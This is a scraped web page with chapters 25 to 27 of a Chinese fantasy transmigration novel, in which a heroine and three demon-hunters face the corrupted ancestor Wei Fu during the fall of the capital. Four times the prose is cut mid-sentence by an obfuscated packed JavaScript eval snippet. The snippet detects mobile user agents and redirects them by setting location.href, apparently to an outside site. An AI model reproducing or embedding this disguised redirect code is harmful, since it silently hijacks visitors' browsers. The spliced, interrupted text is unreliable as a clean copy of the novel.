;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717035|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她逼回眼泪,再次睁开眼时,眼中尽是狠厉:“那绝不是普通的禁妖咒,一定有什么秘法。不若我现在就去找卫符,用妖火小火慢慢烧上他一宿,不信他不吐真言。”
沈惊澜问她:“你现在恢复了几成妖力?”
“两成。”
“能打得过他吗?”
“五成把握。再加上你们,便是十成。”
“能找得到他吗?”
“不难。”
谢清言想主动出击,沈惊澜却有些怕了。
胳膊上灼烧的感觉还未完全消退,在提醒着她卫符手段的狠辣。对自己的后代都毫不留情,她有十足的理由相信卫符一定是反派大BOSS。
贸然行动,若届时他挟持自己,她没有法力无法脱身,只怕会拖累所有人。
“害怕了?”沈惊澜正犹豫,肩膀传来冰冷的触感。
沈惊澜不想承认:“我只是担心有风险。”
卫昭明没戳穿她:“你说得对,眼下我寒毒刚消,师兄被卫符所控加上与师姐一战法力亦有损,谢清言你想必体内也有余毒未解,确实不是好时机。”
沈惊澜附和:“卫符轻而易举就能将我们折损大半,绝不是好对付的,我们还是从长计议为好。”
谢清言见他们一唱一和,面露不悦:“那你们说,现在该做什么?”
“永安王。”秦秋温润有力的声音响起。
裴玄立刻就明白她的意思:“我们可以找永安王设局,引卫……师祖上钩,这样一来,便是我们在暗他在明。”
“好主意!”沈惊澜眼睛冒了光,“我们进入幻境之初看到的是张衍,别忘了是永安王把张衍打回万州的,永安王在幻境中到底扮演什么角色还不好说,需探他一探。”
谢清言虽不爽,但也觉得他们有理,从怀里又掏出一包本来是留到明天的糕点,忿忿啃了起来。“永安王,我略知一二。”
永安王赵明舟是当今皇帝次子,因生母出身不高,姿色平庸,不受皇帝宠爱。赵明舟礼贤下士,素有贤名,惹皇帝忌惮,表面封他为王,实则要将他赶出京城。凛州荒僻,势力难起,赵明舟便再无夺嫡之望。
“他到凛州之后,皇帝并未完全放心,一直派人秘密监视,是以他只能装作整日寻欢作乐,颓靡自弃。”
沈惊澜不解:“那为何皇帝还会派他去云山?”
谢清言摇头。
“也许是为了杀他,”裴玄猜测,“皇帝不会不知道山都力量的强大,也许是想利用谢清言除掉赵明舟,顺便让云山遭重创。”
沈惊澜恍然大悟:“所以才没有派护卫,皇家龌龊秘事,自是知道的人越少越好。”
谢清言继续道:“如今皇帝昏庸无道,百姓苦不堪言,天下各州时有起义,大奉正风雨飘摇,也许正是永安王的机会。”
殿下仁慈,便由草民来做这个恶人吧。
沈惊澜不知为何想起卫符这句话,心里陡然升起一种不好的预感。
难道是卫符助永安王攻入京城,大破张衍?
25. 第 25 章
大奉明德十六年十一月,皇帝病重
十一月,北方外族来犯,攻破北四州,虎视眈眈;南方张衍自万州起,北伐而上。
是年除夕,张衍破京城。
京城一片热闹繁华,无数铁骑在爆竹声中冲破城门,在漫天的艳红与庆贺中,踏碎一个王朝的美梦。
几日前,捷报频传,京城中都以为山匪将平,马上又会是平安祥和新的一年。没人相信一个山匪会来得这么快。
战马直接踏过街上放爆竹的百姓,在爆竹声声的掩护下,踩着血肉直奔皇城。
天空开始飘起雪花,开始只是一点雪豆子,很快变为鹅毛大雪纷纷而下,覆盖住地上爆竹的残纸和暗红的还带着温热的血。
家家户户立刻熄灭满屋的烛灯,门窗紧闭,再也听不到一点欢愉。
“害怕就别看。”
四人躲在一户人家的屋顶上,卫昭明想捂住沈惊澜的眼睛,却被她止住。
她声音很轻:“已经不怕了。”
不知何时已经习惯鲜血淋漓的场景,已经忘记作为一个现代人是什么感觉。
沈惊澜穿得单薄,此刻虽有卫昭明护着,也免不了手脚僵冷。“也不知道谢清言现在在哪里,是否安全。”
那日他们决定从赵明舟下手后便各自歇息。第二日醒来,他们便找到赵明舟,从他口中得知原来卫符一直想助他夺鼎称帝。
赵明舟一直被皇帝打压,不是没有恨过这位父亲,只是他到底仁慈,并不认可卫符的一些做法。
“七年前卫符跟本王说云山多妖,将成祸患,本王便立刻派人将情况禀告了父皇。”
赵明舟回忆起那日下了一场大雨,宫里头发花白的王公公从一辆华贵的马车经人扶下,一旁年轻的公公赶忙为他撑起伞。
那是个盛夏,王府内的元宝槭叶子浓绿成荫,骤雨打在叶子上,劈里啪啦惹人心烦。
赵明舟不得不恭敬地迎接王公公,同时又要保持皇家的颜面和风度。他命人端来一个小檀木盒子,遣人递上前去。
“奴才参见殿下。”王公公年近六十,依然细皮嫩肉,脸上的褶皱也显得饱满。
赵明舟微微点头:“天气闷热,又逢暴雨,公公且拿这些去消消暑。”
王公公没有直接接过盒子,先是打开一个小小的缝隙,见里面是金子,便笑眯眯接过盒子,细声道:“殿下真是折煞奴才了。”
“奴才这次来,是为传陛下口谕。”
赵明舟道:“父皇派了几十个除妖师与我一起,本是要捉妖,没想到他们接到的任务却是烧山。”
这些除妖师直接听命于皇帝,自然不会理睬赵明舟的苦苦阻挠。
“后来本王派人打听到,烧山的主意,正是卫符向父皇所提。”
卫符想助他称帝,为何还要帮皇帝杀他?
几人一时想不明白。
谢清言懒得琢磨里面的弯弯绕绕,直接把话挑明:“你若想赎罪,便提前布好阵,再派人把卫符找来,我倒要看看妖火之下,他还能撑多久。”
当时他们已经做好万全的准备,赵明舟以商讨谋反之策为名召见卫符,所有人都以为这次不会再有闪失。
卫符出现的那一刻,天地之间妖气大盛,黑夜被无尽的妖气映成幽蓝色。
源源不断的妖气自卫符体内而出,他依旧一身黑色大氅,与周身的妖气融为一体,徐步而行。
走近了,众人才看清他的面容。
原本硬朗冷峻的面庞充满邪气,眼眸暗红,带着若有若无的笑意。
“殿下,您被山都谢清言蛊惑,草民特来为您除妖。”
沈惊澜收回思绪幽幽长叹。
卫符之力短时间内大涨,身形如同鬼魅轻松绕开王府几十个除妖师和主角团三人的围剿,直取谢清言喉咙。
他没杀谢清言,一抹黑色的妖气探入谢清言的印堂,再次睁开眼时,她的眼中染上了一层血红。
谢清言失去了动作,乖乖站在他面前任由指挥。
卫符笑意更甚,眼中亢奋地灼烧:“殿下,万州起兵,一个月后将□□,届时,草民将为殿下献上一份大礼。”
说完,带着谢清言一起闪身不见。
而后他们便进入了现在的幻境,一来便碰上了张衍攻城。
寒气更甚,沈惊澜裹紧衣服还是忍不住瑟瑟发抖,卫昭明拿出一块朴拙的葫芦形玉佩,递给她:“握着它暖暖身子。”
这是在船山救她时给她的玉佩。
沈惊澜把玉佩虚窝在手心,嘴巴冻得说话都不利索,慢慢道:“这块玉佩对你来说很重要吧?”
卫昭明道:“小时候身子不好,父亲为我冒险去苍山寻来的,随身佩戴可以养身健体。”
原来还是从她这儿捞来的。
这大概是卫长枢为数不多地对他展现温情的时候。
玉佩的暖意从手心蔓延,很快遍至全身。
“卫符的妖气很熟悉,你们感觉到了吗?”她接着道。
裴玄声音沉闷:“是谢清言之力。”
沈惊澜本来还在苦恼该怎么让他们相信卫符就是幻境的反派BOSS,这下好了,他自爆了。
三人的脸色不大好,尤其是裴玄,眉头紧锁,唇色苍白,低着头藏起泛红的眼睛。
“谢清言和卫符都不见了,我们该怎么办?”
远处皇城烟花凋零,整座京城陷入一片只有厮杀声的死寂。
秦秋压下心头复杂的情绪,深吸一口气:“师兄,莫耽于伤情,师祖究竟如何,都不影响我们坚守自己心中的道。”
“当务之急是找到师祖,师兄,你的青风剑能感觉到吗?”
裴玄沉默片刻,拔出剑,玄黑的剑身映出他破碎的眼眸。他望着自己,自嘲:“我不如阿秋通透。”
青风剑颤动,裴玄闭上眼睛,凝神感知剑气:“他就在附近。”
风卷起满地的爆竹残屑,刺鼻的硫磺味夹杂浓浓的血腥。
很快,皇城的烟花再次点燃,比之前更加盛大,朱尘连雾,薰燧乱星,瑶光漫天,万千繁花坠落,照亮整个京城。一声声震耳的响声中,明德十六年伴着繁星般的烟花结束,大奉的百姓,在弥漫的烟尘中迎来了新的一年。
裴玄道:“看来禁军不堪一击,张衍已经攻下皇城。”
远处隐约传来呼声,打破家家户户闭门的死寂:“张衍弑君了!张衍弑君了!”
“天下大变,大奉难安!”
起先有人怀疑是张衍的人在虚张声势,可后来越来越多的人开始一起大喊:
“张衍弑君,大奉易主!”
“张衍弑君,皇帝该杀!”
“张贼作乱,必诸之!”
各种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717036|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各样的声音像一排排爆竹被同时点燃,有的百姓关紧门窗不敢出声;有的支开一点窗户,探出头观察形势;胆子大一些的走上街头,一齐喊着:“该杀!该杀!该杀!”
一支几十人的骑兵纵马自皇城驰骋而来,手挥长剑,高声喊道:“昏君已诛,张衍将军乃众望所归,当登九五至尊之位!”
却是无人敢应答。
一个月前,张衍不过南方一个小小万州的一个山匪头子,没人相信他竟在这么短的时间内一路北上,仅用一个晚上就杀到了皇城,手刃皇帝。
天降奇兵,如有神助。
所有人都怀疑,一个山匪,真能承天命,为天下之主?
沈惊澜低声道:“这皇帝就也太弱了吧?不过一两个时辰,京城就攻破了?”怎么跟闹着玩儿似的。
卫昭明回道:“史书对奉国末年的事记载不多,也许皇城内里也早已腐朽不堪,臣不为臣,军不为军,灵君被诛乃天命人心所向。”
紧接着,一股黑烟自城门而来,起先人们沉浸在江山易主的剧烈震荡中,以为那只是爆竹燃放后的浓烟。
很快黑烟如一张无声铺开的巨网,弥漫全城。
“是卫符和谢清言!”沈惊澜身体因高度紧张而发热,身体不自觉地绷紧。
卫昭明突然想到什么,惊呼不妙:“张衍攻破京城之后下令屠城,难道与他们有关?”
几人倒吸一口凉气,裴玄立刻道:“阿兰你找个安全的地方躲起来,昭明身体尚未痊愈,留下来保护阿兰,我跟阿秋一起去找师祖。”
秦秋立刻道:“好。”
两人马上动身,沈惊澜不放心,叫住他们,正色道:“裴大哥,幻境中的卫符并非真正的卫家先祖,无论他到底是什么,必要时切勿手软。”
裴玄转过头去,高高束起的马尾一甩遮住侧脸。“我明白。”
四人分头行动,卫昭明带着沈惊澜在街后小巷子狂奔,终于跑到一个荒僻的小巷子,尽头有一个荒废了的草屋,二人躲进屋内用茅草掩盖住身体,屏息静待。
“卫昭明,”沈惊澜贴近他坐着,寒夜之中鼻尖竟冒了一层薄薄的汗珠,“你是不是很难过?难过就不要忍着。”
几人都是数一数二的聪明,心里早已大概有了答案。
卫昭明长袖之下握紧拳头:“我只觉得可笑。”
他压抑多时的情绪在昏暗的小巷中喷薄涌出:“什么最光明磊落,最正义无私,说是要为天下除尽妖邪守护万民太平,原来不过是一个沽名钓誉心狠手辣的小人。”
先前他不是没有想过,只是同裴玄一样麻痹欺骗自己,可谎言终有戳穿的一天,他无法一辈子都活在自欺欺人中。
远处隐隐传来起伏不尽的哀嚎。
黑烟笼罩,四面八方呼啸而来,卫昭明怒而一拳砸向草堆中:“原来不止是我,整个卫家、整个锦绣城,都是一个笑话。”
沈惊澜心头一紧,情不自禁伸出手,轻轻覆盖在他手上,两只冰凉的手交叠在一起,生出微弱的暖意:“卫昭明,我救了你一命,便不许你自轻自贱,卫符作恶与你何干?”
“至少对我来说,你是个好人,第一天见面你便愿意舍命救我,哪怕那时你对我有敌意,但你义无反顾地救了,为君子为大侠,皆当如此!”
“有你,有秦姐姐、裴大哥,锦绣城就不会是笑话。”
26. 第 26 章
厮杀哀嚎在爆竹的掩护下肆意放声,沈惊澜和卫昭明躲在茅草堆中,黑烟渐渐弥漫到这个偏僻的角落,带着惑人的妖气。
声音越来越近,卫昭明的手悄然摸到剑柄。
沈惊澜紧张起来,从旁边抓了两把茅草覆在自己身上,还是不放心,嘱咐道:“这里看起来还算隐蔽,万一,我是说万一一会真被人发现,你可千万别杀红了眼。”
“实在不行,就把他们打残,这样应该不会失了心智吧?”
虽然他后来控制住自己,但沈惊澜还是心有余悸。
卫昭明沉声:“放心,我有分寸。”
“咚”一声,两人身体一震,前方约莫十米小巷拐角处,一个穿着褐色粗布短衣的中年男子倒在血泊中,面向他们满脸是血,怒目而视,死得不甘。
胸口长剑拔起,两三个年轻的士兵走来,长剑血染,猛然把目光锁向沈惊澜的方向。
他们如有感应,长剑在前,踏着重重的步伐逼近。
士兵在草屋前停下,长剑挑起地上散落的几根茅草,同一时刻卫昭明长剑破出,削骨如泥,斩断那士兵持剑的手!
下一瞬卫昭明飞身而出,以剑挑起更多的茅草盖在沈惊澜身上,立在茅草堆前,周身萦绕桃色的光晕。
一阵寒风袭来,混杂了浓重的血腥味,沈惊澜不敢想外面的场景,大脑在高度紧张的情况下停止了思考,身体紧绷得像拉满弦的弓,随时准备跑。
茅草外嘈杂声更响了些。
沈惊澜透过茅草的间隙看到一步之遥的地方,浮光剑正砍断一个士兵的腿,紧接着数十人扑来,有士兵,也有普通百姓。
不对劲,历史上是张衍屠城,为何他们好像有目标似的都冲着他们来了?
难道是因为卫符?
卫昭明出招精妙,每剑只砍手脚,避开要害。
很快遍地残肢,数十个影妖匍匐在地,蠕动着残破的身躯,失去搏杀的能力。
紧接着后面源源不断有影妖小巷拐角、矮墙屋檐涌出,像一群提线木偶,不知生死,前赴后继地扑上来,尖锐地嚎叫着要把两人撕成碎片。
两边人群趴在矮墙,人压人,男女老少,百姓士兵,有人赤手空拳,有人手持菜刀锅勺,还有数不清的长剑在黑夜中亮着冷光,如同层层鬼魅,黑暗中唯有一双狩猎的眼睛闪烁着骇人的幽绿。
现在不是屠城,是整座城都要将他们屠杀。
注意到沈惊澜的目光,卫昭明调整了下位置挡住她的视线。
他身体还未完全恢复,一边要砍影妖,一边要防着他们越过自己冲到沈惊澜面前,很快呼吸变重,握剑的手开始颤抖。
沈惊澜手心满是汗,牙关咬紧,不敢出声让卫昭明分神。
卫昭明很快被团团围住,突然一个三十几岁的黑衣青年躲开他的视线绕到他身后,手里高举铁锹,黑烟漫过他的面庞,他的眼神麻木呆滞,冲着茅草堆不带一起怜悯地重重落下,擦着沈惊澜的肩膀把一旁的茅草堆压扁,沈惊澜立刻翻身而起,还未站稳,男子再一次举起铁锹,对着她的头颅砸去。
卫昭明顾不得了,一剑贯穿挤在他面前的人的胸口,同时使出咒法,以气为剑,刺向那人。
阴差阳错。
男主身前突然闪过一个女子,手里拿着一把剪刀正对准卫昭明,咒法正中女子胸口,开出一个血淋淋的大洞。
剪刀脱手坠落,女子瞬间毙命。
铁锹极速落下,沈惊澜盯着高高举起的铁锹,身体似被定住,大脑一片空白,连呼吸都忘记。
时间在这一刻静止,她听到刺耳的耳鸣,几乎把耳膜穿破。
她好像看到自己穿着一身白色休闲西装,一副半框眼镜,简单化了淡妆,头发用鲨鱼夹扎起,单肩背着一只托特包,望着地铁来的方向静静等待。
沈惊澜突然想起这是她在现实世界最后的画面。
那是一个普通得不能再普通的早上,她要挤早高峰的地铁,到了单位后,她会去咖啡机打一杯不太好喝但是免费的美式咖啡,打开电脑,检查一下今天要汇报的PPT,顺便还会听一听同事的新八卦。
有人会聊大领导最近又怎么折磨人,还有人会聊最近看的新剧、明星八卦。
一切本该如常。
可她没有乘上地铁,地铁漆黑的通道尽头,是无尽的深渊。
眼前画面变化。她看到第一天到这里时,望着一双陌生的手,没有美甲,没有学生时代握笔留下的茧子,这双手白皙细嫩,手指纤长但充满力量。
她又看到卫昭明苍白的脸,在明明自己身中寒毒,彻心彻骨的冷,却还要将玉佩塞到她手里,跟她说:
“我一定会带你回家。”
“【系统提示】:请注意!宿主生命受到严重威胁!请立刻采取措施,否则任务将失败!”
系统总是不合时宜地出现,带来她不想听到的消息。
“阿兰!”
沈惊澜惊醒,她已经完全忘记了如何控制身体,下意识地跪倒身体向一旁滚去,在铁锹触碰到她头顶的一刹那——
男子突然停止了动作。
沈惊澜愣了片刻,然后猛地发现她竟从地上拾起一把带血的长剑,直直对准男子,将他肚子贯穿。
鲜血顺着剑身流到她手上,温热的、粘稠的,带着生命最后的气息,在寒风中慢慢变冷。
男子身体晃动了一下,挣扎着将铁锹拍下,尽管力道被卸了绝大部分,但铁锹自身的重量还是震得沈惊澜头痛欲裂,视线有一瞬间模糊,她把身子压在剑上,借着剑站稳身体不至于倒下,同时用身体的力量将剑刺得更深,而后手腕一旋,将男人的肠子搅了出来。
卫昭明一剑劈开四五个人,纵身跃起踩着密密麻麻的人头飞到她身边扶住她的身子。
“阿兰!你怎么样了!”
温热的触感自头顶传来,沈惊澜恍惚地往头上一摸,头顶慢慢渗下暗红的血液。
她彻底清醒过来,触电般松开剑柄往后一退,终于意识到方才究竟发生了什么。
她杀了人。
不,准确的说是杀了妖。只是与人的触感一样,对沈惊澜来说与杀人无异。
卫昭明来不及等她的反应,又一群影妖涌了上来。他在沈惊澜周围设下结界,虽不能支撑太久,但好歹能让她缓缓神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717037|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
沈惊澜低头望着自己沾满血的手,抖得甚至拿不起一根茅草:“我杀了他。”
“你不过是自保,而且他是影妖不是人,你没有杀人,你除的是妖。”卫昭明的声音不稳,带着慌乱的粗气,强压住自己的虚弱安慰她。
卫昭明的话点醒了她。这一切来得太突然,让沈惊澜几乎失去了思考能力,她才意识到自己把这一切都当了真,其实这不过是书里的几行字,为何要怕?
更何况这里与她熟悉的现代社会不同,《志妖录》本就是个弱肉强食的世界,今天她若手软,连杀一个小小的影妖就吓得握不住剑,来日面对少鹰,如何能胜?
卫昭明不会永远都在她身前,唯有靠自己,才能活下去。沈惊澜抬起头抹掉遮住视线的血迹,从男子身上拔出剑,眼中多了几分狠厉与果决:“你说得对,我不过是出于自保,下一次我会更果断些,直接刺向敌人的心脏。”
眉间桃花印发出淡淡的粉红色的光,一缕晶莹闪烁的光从桃花印流出,绕着剑流转。
沈惊澜又有了力量,毫不犹豫挥剑斜刺,正中一旁要偷袭的人的胸口。
还是免不了心脏一紧,沈惊澜努力调整呼吸,顺着船山力量的指引,感受到丹田内有一股暖流,身体越来越舒展,头痛也缓解许多,她开始主动出击。
“卫昭明,长得壮的你来解决,弱小的我来解决。”
“好,当心,打不过就躲我身后。”
两人背对而立,在望不到尽头的人群中,开始机械地挥剑。
很快,沈惊澜学会控制准头,尽量只砍胳膊腿,让对方失去行动能力。
又不知过了多久,人不见少,地上已经铺满密密麻麻半死的身体,在狭小的小巷中堆起一个个小山包。
“卫昭明我砍不动了。”沈惊澜喘着粗气,寒风中衣衫被汗浸透,手已经握不稳剑,胳膊酸痛每抬一下都极为吃力。
两人被逼到墙角,眼前头顶皆是被黑烟蛊惑的傀儡影妖。
卫昭明也快到极限。他半靠墙支撑,设一个微弱的结界。“阿兰。”他轻轻唤。
“刚才你挥剑的时候,我突然冒出一个念头,能跟你死在一起,也不枉此生。”
沈惊澜崩溃:“你给我闭嘴,你想死便自己去死,我才不要死,我要活下去,好好活下去。”
“可这个结界,最多只能撑半刻钟。”卫昭明愧疚道,“抱歉,我没保护好你,逼得你要自己学会握剑保护自己。”
沈惊澜身形一顿,向旁看去只能看到他的侧脸,这位年轻的炮灰除妖师眉头微蹙,眼睛因为休息不好而充满血丝,显得一双桃花眼更加娇艳欲滴,即使满脸是血,也掩盖不住兼具美丽和少年气的面庞。
他更瘦了些,脸上几乎没什么肉。
她的心蓦地软了一下,语气也放缓了一些:“虽然咱俩是炮灰,但我觉得我们的命不该如此,若未尽全力,才是枉费此生。”
“卫昭明,我们都要好好活下去。”
话音刚落,不远处传来“桀桀”的笑声,两人循声望去,一个身着黑色大氅的男子正立在人堆之上,一双猩红的眼睛正直直盯着二人。
27. 第 27 章
整座城弥漫在浓重刺鼻的烟雾中,黑烟把卫符笼罩,隐约露出一双透露着兴奋的精光眼睛。
卫符立于高处,展开双手,宽大的大氅之下,谢清言在他腿边双目紧闭,被他提起衣领逼着立起身子。
她整个身子枯瘦得皮肤紧贴骨骼,如同一片飘落的枯叶,失去了水分,叶脉小心翼翼维护着残存的叶片,风一吹就分崩离析。
“她是,死了吗?”沈惊澜喃喃自语,喉咙里塞了棉花似的,堵得说不出话来。
秦秋和裴玄紧跟着后脚赶来,挡在二人身前。裴玄劈开几个蠢蠢欲动的士兵,在四人周围设起更加强大的结界。
卫昭明吃惊:“师兄,你可以触碰到影妖了?”
裴玄点头:“现在不是说这个的时候,谢清言被卫符吸干,与死无异,我们现在想办法赶紧离开这里。”
“想走?没那么容易。”卫符把谢清言提到身前,另一只手一掌拍向她的后背,万民身体升起缕缕淡淡的黑烟,汇聚到谢清言体内,她蓦地瞪大眼睛,黑烟从七窍泻出,汇成一只三丈宽黑色的大手,朝着四人倾轧拍下。
百姓士兵眼神有了些许清明,茫然望着眼前发生的一切,陷入了极度惊骇。
地上密密麻麻躺满了人,暗红的血液汇成一条小溪沿着墙脚缓缓流向地势较低的地方。断肢残臂堆遍小巷,倒在地上的人有不少是平日常打招呼的邻居,此刻倒在人堆上昏死过去,身体还在抽搐。
一时间嚎叫与哭鸣响彻天穹,众人企图从狭小的小巷口逃跑,但人挤人之下,又发生了严重的踩踏。
可四人无暇顾及,黑手如山倒,裴玄以青风剑抵挡,长剑疾刺,剑气从顶端迸发,形成青色剑光,灵蛇一般蜿蜒游走于五指指缝,然后一剑砍出,灵蛇霎时收紧,要将黑手绞杀。
五指握拳,与灵蛇僵持住,一时难分高下。
秦秋面色凝重:“这不过是谢清言不到两成的法力,师祖若再出手,我敌不过他,僵持下去对我们不利。”
黑手与灵蛇耗尽,同时溃塌,余力震荡,周围砖石崩裂,茅草乱飞,裴玄趁机用剑划起漫漫尘沙,再以掌风让尘沙尽数扑向卫符面门,迷住他的视线。
裴玄不逃反趁机径直飞到卫符面前,手腕一旋,法力注入青风剑中,直刺卫符喉咙。
卫符被打了个措手不及,只能放下谢清言以手阻挡,但仍被青风剑的剑气砍断了手筋。
裴玄并不恋战,捞起谢清言立刻飞回几人身边:“逃!”
秦秋立刻会意,抡起流英锤,卷起强风,裹挟地上的碎瓦杂草,朝卫符扇去。
卫符被裴玄砍了个踉跄,面对从天而来的碎石杂草不敢大意,立刻在头顶撑起一张黑烟汇成的网,将其牢牢裹住。
趁他被牵制住,裴玄左手架起沈惊澜,右手拖着谢清言,翻过小巷尽头的围墙,向前奔去,卫昭明身体尚虚弱,紧紧跟在裴玄身后,帮着他托起一人一妖,秦秋垫后,时不时给卫符制造点麻烦。
沈惊澜肩膀胳膊累得麻木,身体如一滩烂泥,搭在裴玄身上,任由他架着自己在青石小道上狂奔,上下颠簸,骨头都快要散架。
“我们这是要出城?”她认清了方向。
左手传来的温度明明微凉,却烫得裴玄手心出汗。他深呼一口气,忽略这不合时宜的灼热,抵住慌乱的心跳答道:“不错,城里人多易被围攻,方才我与阿秋去寻卫符时发现城外有座山,去那里谢清言或许能醒来。”
奇怪的是卫符没再追上来,几人不敢大意,踏着满街的尸体逃到了城外。
冬日的山褪去了色彩,万物凋零,白雪覆黑石,成一派泼墨山水,只有几棵苍松在雪下伸出一些绿意,成为这天地间唯一的色彩。
裴玄把两人放下,浑身冒着热气,额头细汗点点。
“裴大哥,多谢了。”沈惊澜一进山便觉得身体在一点点恢复,她干脆靠着一块石头半躺,以更好地吸收山的力量。
但谢清言晕死过去,未见好转。
裴玄移开视线不去看她:“阿兰见外了。”
叹了声继续道:“我与秦秋找到他们时,师祖正在吸收谢清言的力量,如今她已是一副空壳,能不能活,全看造化了。”
卫昭明不解:“刚才不见卫符佩剑,这是为何?还有师兄你为何能碰到我和阿兰,师姐却仍不可以?”
裴玄道:“当时我与阿秋出手阻拦,我和师祖同时拔剑,两把青风剑相抵,师祖的那把剑突然消失,我猜是因为青风剑的缘故,才让我能触碰到你们和影妖。”
“我本可以趁此机会将他重伤,可我小瞧了他吸收的山都之力,险些被他暗算,让他有可乘之机带着谢清言逃跑。”
说着,脸上有一丝懊恼。
“是我之失,才让卫符有机会对你们下手让你们身陷险境,若我们再晚到一步,我恐怕永远都无法原谅我自己。”
“师兄这不是你的错,”秦秋走上前握住他的手,正色道,“错在卫符,这场屠杀由他而起。”
“我知道你因为他的身份一直有所顾及,可师兄,过去之事我们已无力改变,卫符已死,大奉已亡,百余年的时间已经让这一切都成为历史,我们也该往前看了。”
卫昭明接着道:“师姐说得不错,这人是我祖宗,这是无法改变的事实,但不代表我卫昭明也是如此,我只要问心无愧,做我认为该做的事,行我认同的道,他是卫家祖宗又如何?是锦绣城掌门又如何?”
“锦绣城生于他肮脏之手,但如今已成为天下除妖大宗,为万民除妖百年,已然与他道不同,未来的锦绣城尽在未来年轻弟子手中,正需要我们去行正道、除奸邪、开太平,师兄若再沉溺于往事,我这个小师弟第一个瞧不起你。”
卫昭明难得一本正经说这么多。
他比秦秋和裴玄小三四岁,天生身子弱,二人格外疼爱这个小师弟,尤其是裴玄,几乎把他当成了亲弟弟。
卫昭明八岁的时候,修炼到了短暂的瓶颈,那几天卫长枢不仅每日都要训斥他,还把他关到云山山阴的崖洞中,练不好便不许吃饭。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717038|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他饿晕在崖洞中,是裴玄冒着被卫长枢骂的风险,偷偷从伙房中顺走几个包子,在午夜大家都睡觉的时候摸到崖洞,给小小的他一点温暖。
从小到大,一直是都是二人挡在他身前,替他化解一切危险,包括这次自己身重奇毒,他们毫不犹豫就冒险为自己寻药,只是因为自己任性,便还要带着他这个拖油瓶。
长兄如父,卫昭明一直这样认为。
“昨日枯木朽烂,明朝万树逢春,师兄,你和师姐都是锦绣城未来的希望。”
裴玄定在原地,望着卫昭明出了神。
半响,他把剑插进土中,脸上恢复了往常的淡然出尘,不同的是,如今的他更多了坚定与果决。“你们说的对,以前我总觉得锦绣城容不得一丝污痕,而我作为锦绣城的大师兄,便要保护锦绣城不允许任何人玷污它。”
裴玄手抚上青风剑朴实无华的青黑色剑柄,继续道:“可世上没有无暇玉,从前我认定锦绣城的一切都是不可违逆的存在,从未怀疑过凡妖皆除的祖训,如今想来师祖定下这条规矩,是因为心怀正义还是心怀鬼胎?”
他自嘲地笑了笑:“恐怕是为了知道此事的妖怪找他复仇。”
“往者不可谏,来者犹可追,这把剑曾经随他一起作恶,可如今他的剑没了,青风剑仍在我手,往后我必将用它除尽妖魔,洗清冤孽。”
说完,他拔剑割腕,以血祭冤魂。
沈惊澜听得热泪盈眶,在这个剧本里,没有人陷入感情的沼泽中黑化,他们三个刚入世的少年,在最浪漫最朝气的年纪,闯入世俗的尘网中摸爬滚打,或许折腾得满身伤痕,但依旧保持一颗赤子之心,立志要闯出他们这一代的天下。
明明知道自己的任务,明明知道他们只是纸片人,沈惊澜的心还是控制不住一起澎湃起来。
她突然觉得自己之前的想法很可笑,或者说很傲慢。
纸片人也有情感,纸片人也有自己的命运,自己的道。如今她也不过是个纸片人,在炮灰的设定之下,她一次次落入危险,一次次想要通过自己的力量改变,结果一次次都需要天降主角拯救她于危难。
他们,不过都是被命运驱使,但都不甘命运的人。
“你怎么哭了?”卫昭明注意到角落的沈惊澜有点不对劲。
他凑过去,发现黑夜的掩盖下,她的眼角居然有点点泪光。
沈惊澜连忙眨眨眼睛逼回眼泪,不想让自己脆弱的一面暴露:“风迷住了眼睛。”
刚说完她就意识到声音中的鼻音出卖了自己。
卫昭明支撑着弱不禁风的身体弯下腰一眼望到她的眼底,眼中带着戏谑的笑意:“你在撒谎。”
沈惊澜望着他眼中的自己,恰巧一阵风吹过,吹起她散落在地上的裙摆,身上却没觉着有风。她的眼睛闪烁了一下,鼻尖酸涩,黑夜还遮住了她泛红的双颊:“多谢。”
她终于意识到,原来从离开船山的那一晚起,每每在外风餐露宿的夜晚,卫昭明都在离她不近不远处,用身体为她挡住绵延万里的风。
28. 第 28 章
